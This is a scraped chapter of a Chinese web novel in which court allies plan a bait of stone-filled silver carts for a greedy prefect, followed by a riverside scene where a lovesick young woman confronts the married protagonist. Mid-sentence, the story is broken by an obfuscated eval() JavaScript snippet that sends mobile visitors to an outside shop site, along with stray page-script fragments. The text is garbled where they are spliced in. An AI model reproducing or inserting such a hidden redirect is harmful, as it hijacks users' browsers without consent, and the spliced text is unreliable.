文趣网 > 其他小说 > 第一权臣 > 28. 错爱
    张湉延的话音刚落,雅座外忽地传来三声轻重不一的叩门声。

    声音不大,却硬生生掐断了屋内紧绷的气氛。

    袁崇饮了口茶,眼皮都没抬一下。

    鸿安立刻会意,悄无声息地拉开门退了出去。

    走廊外隐约传来几句低语,不过半盏茶的功夫,他便折返回来,反手将门扣严。

    鸿安站定后,视线在袁崇脸上停顿了半息,见他拿着茶盏还在慢条斯理地转着,没有任何避讳的意思,这才压低嗓音开口。

    “崇殿下,刚才底下人递了信,说孟统领带着董大虎已经出了西城门,往郡边的小驿站去了。”

    袁崇把玩茶盏的手指停住,陶瓷与案几相撞,发出一声闷响。

    “他动作倒快。”

    说到此处,袁崇向温仲卿与张湉延介绍道。

    “孟武岩乃本王身边的暗卫之一,武功高强,脑子灵活,有他与董大虎一起,这鱼饵算是稳了。”

    温仲卿点了点头。鱼饵已经撒下,剩下的就是耐心等大鱼咬钩。

    张湉延此时已经从先前的震撼中回过神来,他拿出一块素帕将唇角擦拭干净,一派文士风雅。

    “鱼饵既已入水,明州郡的局便算盘活了。”

    说到此处,张湉延看向温仲卿,语气里多了几分打趣。

    “不过家主此行北上,下一站便是孟州郡,那孟州郡守郭淮,可不是个好相与的角色。”

    听到张湉延话中的打趣,温仲卿无奈,当名人就是这点不好,不论做了什么,总会弄的人尽皆知,让人尴尬不已。

    孟州郡是去燕北的必经之路,这只拦路虎若是不处理好,他们带去燕北的家底怕是得被啃掉一半。

    “常风兄既是提了郭淮,想必心中已有计较?”

    温仲卿顺水推舟的把话头抛了回去。

    张湉延笑了笑,伸手在案几上点了点。

    “郭淮此人,虽贪财却不好色,且疑心极重。更何况他手中不仅握着孟州郡的五千城防军,还有三万的孟州军,硬闯属实不亚于以卵击石。”

    说到此处,张湉延顿了一下,继续说道,“不过,常风在来明州之前,曾听闻郭淮最近在到处搜罗奇药,似乎是家中亲眷重病。”

    重病?

    温仲卿心下思忖。

    “雪中送炭是个法子,但我们现今并无名医,此事怕是有碍。”

    “常风不才,恰好略通岐黄之术。”

    张湉延丝毫不慌,他淡定的瞥了一眼温仲卿,说出一句。

    温仲卿放下茶盏,瓷底磕在桌面上,发出一声脆响。

    “即使如此,那青云便做两手准备。”

    张湉延睁大眼睛,一时没跟上温仲卿这跳跃的思路。

    温仲卿并不解释,偏过头,对一旁的鸿安吩咐道。

    “劳烦鸿家丞费力,将咱们带来的银票兑换成现银以及金叶子。其中,将现银装上二十车,仅留最上方两层摆放现银,其下部分全部装上石头,然后,大张旗鼓,做得越惹眼越好。”

    鸿安没有立刻应声,而是习惯性的看向袁崇。

    袁崇眉头微皱,显然未通一窍,他思考片刻,手腕翻转,冲鸿安摆了摆手。

    “按夫人说的办。”

    张湉延脑子转得飞快,瞬间明白了温仲卿的用意。

    “青云公子难道是想明修栈道,暗度陈仓?用那二十箱现银做饵,引郭淮上钩?”

    “然尔。”

    温仲卿笑容不减,淡定喝茶。

    “他若只是贪,收了过路费放行也就罢了。他若是起了黑吃黑的心思,这少了的现银,也够他喝上一壶,更何况这世人之言,怕是更不会好受。”

    温仲卿眼底没有半点波澜,声音温和得像是在谈论今晚的玄月。

    可这手段,却当真毒辣。

    不仅要他钱财还要他名声!

    张湉延胸口起伏半晌,不禁心中暗想,自己这段时间有无得罪过温青云。

    直到一无所获之时,才缓缓舒出一口气,放下心来。

    “即使如此,常风这就去准备北上事宜,请家主允许常风先行告退。”

    袁崇点了点头,没留他。

    待张湉延的脚步声消失在楼梯拐角,雅座里再次安静下来。

    “夫人这是吓到他了。”

    袁崇眯了眯眼,语气调笑。

    “有么?”

    温仲卿挑眉,“青云自诩朗目星眉,丰神俊朗,怎么也不像不堪入目的样子。”

    “你这嘴。”

    袁崇哈哈一笑,径自夹过一片鸡肉,递与温仲卿唇边,“夫人尝尝。”

    温仲卿低头,咬住那片鸡肉,细细咀嚼,眉目之间,显出几分戏谑。

    “倒也是双倍的美味。”

    说到这里,温仲卿凑近袁崇,手掌撑在席上,倾身,递上一盏茶水。

    “崇殿下,请。”

    手指微动,直到触摸上另一片温热。

    袁崇眉目低垂,俊朗的面容在夕阳下,显得越发迷人。

    “这风来城的夜,倒是比襄州郡还要热闹几分。”

    袁崇站起身,高大的身形将投射进来的夕阳挡了大半,把温仲卿整个人笼罩在阴影里。

    “出去走走?”

    温仲卿没有拒绝,两人相携离去,走入人流。

    风来城的街道宽敞,两旁的商铺挂满了各色招牌。小贩推着独轮车在人群中穿梭,热气腾腾的糖炒栗子香味混着胭脂水粉的甜腻气味直往鼻子里钻。

    温仲卿走得不快,目光在那些摊位上随意扫过。

    那些物品虽不及现代的品种繁多,但胜在精巧,让人有观赏之心。

    走过一个卖花灯的小摊时,人群突然拥挤了一下,一个挑着担子的脚夫急匆匆的撞过来。

    温仲卿还未反应,手腕便被一只温热的大手牢牢扣住,猛地往后一拽。

    后背重重撞上一具坚硬的胸膛,布料摩擦间,那股熟悉的松木混着冷冽的香气瞬间将他包裹。

    脚夫连声道歉,又急匆匆的挑着担子走远了。

    袁崇的手却没有松开,拇指指腹在温仲卿的腕骨上不轻不重的摩挲了两下。

    “夫人当心,这街上人多眼杂,若是冲撞了你,本王可是会心疼的。”

    那嗓音贴着耳朵擦过去,带着点戏谑的震颤。

    温仲卿勾了勾唇,反手握住袁崇的手,指尖在对方手中划出一半个圆,随即松手。

    “道安兄说的极是。”

    温仲卿面上温润,语气恳切,偏偏刚才的动作与之反差巨大。

    不禁令袁崇心中暗骂一句。

    小狐狸。

    两人顺着人流,沿着青石板路一直走到护城河畔。

    河风吹散了市

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17667999|207322||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    井的闷热,水面上还飘着几只未燃尽的河灯。

    柳树下,站着一名穿着粉色广袖襦裙的女子,那女子领口绣着金丝缠枝纹,裙上绣有四君子,腰间围着一条珠衱,整个人显得俏丽可人。

    此时,她手里绞着一条丝帕,帕子边缘的牡丹花已经被揉得变了形。

    是郑芯儿。

    温仲卿脚步微顿,眉头几不可见的蹙了一下。

    这小丫头还真是执着,宴会上没得到回应,居然跑到这里来堵人。

    郑芯儿听到脚步声,猛地抬起头,泪水无声滑落,显得可怜又可爱。

    “温二哥哥!”

    美人垂泪,怎能不令人心动?

    但温仲卿不敢动。

    虽说大庸朝对女子并不苛刻,但一名外男与小姐相会,还是会被诟病,尤其是他与袁崇已经成亲,这之间的问题可就大了。

    郑芯儿见温仲卿没有动,自己提起裙摆,几步冲到他面前,挡住了他的去路。

    周围路过的行人纷纷投来好奇的目光。

    温仲卿叹了口气,挥手示意鸿安和几个暗中跟随的护卫退远些。

    “郑姑娘,天色已晚,你孤身一人在此,实在不妥,青云还是派人送姑娘回府吧。”

    温仲卿的语气客气疏离,挑不出一丝错处。

    郑芯儿眼圈更红了,刚止住的眼泪再次滑落。

    “我不回!你温二哥哥昨晚在宴会上连看都不看我一眼,今天却陪着他在这里逛街!”

    她猛地伸手指着袁崇,声音因为激动而微微发颤。

    “他有什么好?一个杀人不眨眼的疯子!你怎么能......怎么能委身于这样一个男人!”

    袁崇听到疯子两个字,非但没生气,反而饶有兴致的挑起半边眉毛,双手抱在胸前,一副看好戏的架势。

    温仲卿脸色沉了下来。

    小女孩的爱慕他可以当做不懂,但这种口无遮拦的指责,若是传出去,不仅郑家要遭殃,连带着他也会被卷入口舌是非之中。

    “郑姑娘,慎言!”

    温仲卿声音压低,字字敲在石板上。

    “我与崇殿下乃是大王赐婚,名正言顺,怎算委屈?”

    他往前走了一步,逼得郑芯儿倒退了半步。

    “青云此生,只求问心无愧。郑姑娘的错爱,青云承受不起,也无意承受。以后这话,休要再提。”

    这话说得绝情,一点余地都没留。

    郑芯儿被这冷冰冰的语气刺得肩膀直抖,她那点骄傲被踩在脚底碾碎,眼泪终于决堤而出。

    她咬住嘴唇,视线在温仲卿那张清俊冷漠的脸上刮过,又转头看向一直在一旁看戏的袁崇。

    不知道是哪里来的邪火,郑芯儿猛地挺直了腰板,胸口剧烈起伏,扯着嗓子吼出一句。

    她指着袁崇,眼珠子瞪得通红。

    “他就是想睡你!”

    这句话砸在护城河畔的青石板上。

    周围路过的几个行人脚底一滑,差点栽进河里。

    温仲卿半张着嘴,眼神里的光影剧烈的晃动了一下。

    周围喧闹的背景音,在这一秒被彻底抽空。

    他本能的转过头,看向袁崇。

    袁崇喉咙里滚出一阵低沉的笑声,他毫不避讳的迎上温仲卿的目光,舌尖顶了顶脸颊内侧。

    “郑姑娘好眼力。”